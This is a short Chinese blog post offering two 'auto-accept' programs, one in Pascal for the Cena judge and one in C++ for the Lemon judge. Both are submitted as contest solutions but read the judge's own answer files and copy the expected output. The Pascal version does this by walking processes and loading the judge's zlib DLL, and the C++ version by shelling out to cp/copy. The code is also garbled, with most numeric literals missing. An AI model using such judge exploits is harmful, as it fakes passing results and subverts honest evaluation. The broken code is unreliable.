嗯,,,,自动AC机

在cena评测时:

Const
SourcePath:string='incantation';
InputFile:string='incantation.in';
OutputFile:string='incantation.out';
type
PROCESSENTRY32=record
dwSize,cntUsage,th32ProcessID,th32DefaultHeapID,th32ModuleID,cntThreads,th32ParentProcessID,pcPriClassBase,deFlags:longint;
szExeFile:array[..] of char;
end;
MODULEENTRY32=record
dwSize,th32ModuleID,th32ProcessID,GlblcntUsage,ProccntUsage:longint;
modBaseAddr:byte;
modBaseSize,hModule:longint;
szModule:array[..] of char;
szExePath:array[..] of char;
end;
Tgzopen=Function(path,mode:ansistring):longint;stdcall;
Tgzgetc=Function(gz:longint):longint;stdcall;
Tgzclose=Function(gz:longint):longint;stdcall;
var
Path,DllPath:string;
data,xml,t,datat:ansistring;
snapshot,gz,hModule,temp:longint;
mate:boolean;
process:PROCESSENTRY32;
module:MODULEENTRY32;
gzopen:Tgzopen;gzgetc:Tgzgetc;gzclose:Tgzclose;
Function GetModuleFileName(hModule:longint;lpFileName:string;nSize:longint):longint;
stdcall;external 'kernel.dll' name 'GetModuleFileNameA';Function FreeLibrary(hLibModule:longint):longint;
stdcall;external 'kernel.dll' name 'FreeLibrary';
Function LoadLibrary(lpLibFileName:ansistring):THandle;stdcall;
external 'kernel.dll' name 'LoadLibraryA';
Function GetProcAddress(hModule:longint;lpProcName:ansistring):pointer;
stdcall;external 'kernel.dll' name 'GetProcAddress';
Function CreateToolhelp32Snapshot(dwFlags:longint;th32ProcessID:longint):longint;stdcall;
external 'kernel.dll' name 'CreateToolhelp32Snapshot';
Function Process32First(hSnapShot:longint;var uProcess:PROCESSENTRY32):longint;
stdcall;external 'kernel.dll' name 'Process32First';
Function Process32Next(hSnapShot:longint;var uProcess:PROCESSENTRY32):longint;stdcall;
external 'kernel.dll' name 'Process32Next';Function Module32First(hSnapShot:longint;var lppe:MODULEENTRY32):longint;
stdcall;external 'kernel.dll' name 'Module32First';
Function Module32Next(hSnapShot:longint;var lppe:MODULEENTRY32):longint;
stdcall;external 'kernel.dll' name 'Module32Next';
BEGIN
GetModuleFileName(,path,);
path:=path[]+Copy(path,,pos('\tmp\',path));
snapshot:=CreateToolhelp32Snapshot(,);
process.dwsize:=sizeof(PROCESSENTRY32);
Process32First(snapshot,process);
while not (Copy(process.szExeFile,,)='cena.exe') do Process32Next(snapshot,Process);
snapshot:=CreateToolhelp32Snapshot(,process.th32ProcessID);
module.dwSize:=sizeof(MODULEENTRY32);
Module32First(snapshot,module);
while not (Copy(module.szmodule,,)='zlib1.dll') do Module32Next(snapshot,module);
Dllpath:=Copy(module.szExePath,,pos('zlib1.dll',module.szExePath)+);
hModule:=LoadLibrary(Dllpath);
gzopen:=Tgzopen(GetProcAddress(hModule,'gzopen'));
gzgetc:=Tgzgetc(GetProcAddress(hModule,'gzgetc'));
gzclose:=Tgzclose(GetProcAddress(hModule,'gzclose'));
gz:=gzopen(path+'data\dataconf.xml','rb');
for temp:= to do gzgetc(gz);
temp:=gzgetc(gz);
while temp<>- do begin
xml:=xml+chr(temp);
temp:=gzgetc(gz);
end;
gzclose(gz);
FreeLibrary(hModule);
assign(input,InputFile);
reset(input);
while not eof do begin readln(t);
data:=data+t+#;
end;
Delete(xml,,pos('"'+SourcePath+'" co',xml));
Delete(xml,,pos('><i',xml));
repeat
Delete(xml,,pos('><i',xml)+);
assign(input,path+'data\'+Copy(xml,1,pos('"',xml)-1));
reset(input);
mate:=true;
datat:=data;
while not eof do begin
if datat='' then begin mate:=false;break;end;
readln(t);
t:=t+#;
if pos(t,datat)<> then begin mate:=false;break;end;
Delete(datat,,Length(t));
end;
if datat<>'' then mate:=false;
if mate then begin
Delete(xml,,pos('=',xml)+);
assign(input,path+'data\'+Copy(xml,1,pos('"',xml)-1));
reset(input);
assign(output,OutputFile);
rewrite(output);
while not eof do begin readln(t);writeln(t);end;break;end;
until false;close(input);close(output);
END.

在lemon评测时:

#ifndef __linux__
#include<windows.h>
#endif
//#include<cstdlib>
//#include<sys/types.h>
//#include<unistd.h>
#include<dirent.h>
#include<string>
#include<vector>
#include<cstring>
#include<algorithm>
using namespace std;
string f=__FILE__;
int n,l;
typedef std::pair<int,string> p;
vector<p>v;
char s[];
inline char*rread(int&r,char*s) {
r=;
while(*s<''||*s>'')s--;
for(int b=; *s>=''&&*s<=''; b*=,s--)
r+=b*(*s-'');
return s;
}
#include<iostream>
int main() {
f=f.substr(,f.find_last_of('.',f.length()));
#ifdef __linux__
DIR*dir=opendir(("../../data/"+f).c_str());
dirent*ptr;
while((ptr=readdir(dir))!=NULL)
if((l=strlen(ptr->d_name))>&&
(string(ptr->d_name).rfind(".out",l)==l-||
string(ptr->d_name).rfind(".ans",l)==l-)) {
rread(n,ptr->d_name+strlen(ptr->d_name));
v.push_back(p(n,string(ptr->d_name)));
}
realpath(".",s);
#else
f=f.substr(f.find_last_of('\\',f.length())+,f.length());
WIN32_FIND_DATA d;
HANDLE hFind=FindFirstFile(("..\\..\\data\\"+f+"\\*").c_str(), &d);
do if((l=strlen(d.cFileName))>&&
(string(d.cFileName).rfind(".out",l)==l-||
string(d.cFileName).rfind(".ans",l)==l-)) {
rread(n,d.cFileName+strlen(d.cFileName));
v.push_back(p(n,string(d.cFileName)));
}
while (FindNextFile(hFind, &d) != );
FindClose(hFind);
GetModuleFileName(NULL,s,);
#endif
rread(n,rread(l,s+strlen(s)));
sort(v.begin(),v.end());
#ifdef __linux__
system(("cp -f ../../data/"+f+'/'+v[n].second+" "+f+".out").c_str());
#else
system(("copy ..\\..\\data\\"+f+'\\'+v[n].second+" "+f+".out").c_str());
#endif
return ;
}

这是利用评测系统的bug来实现的。

这个东西可以在平时的时候玩一玩,但考试的时候还是要凭借真材实料。

一世安宁

05-19 01:34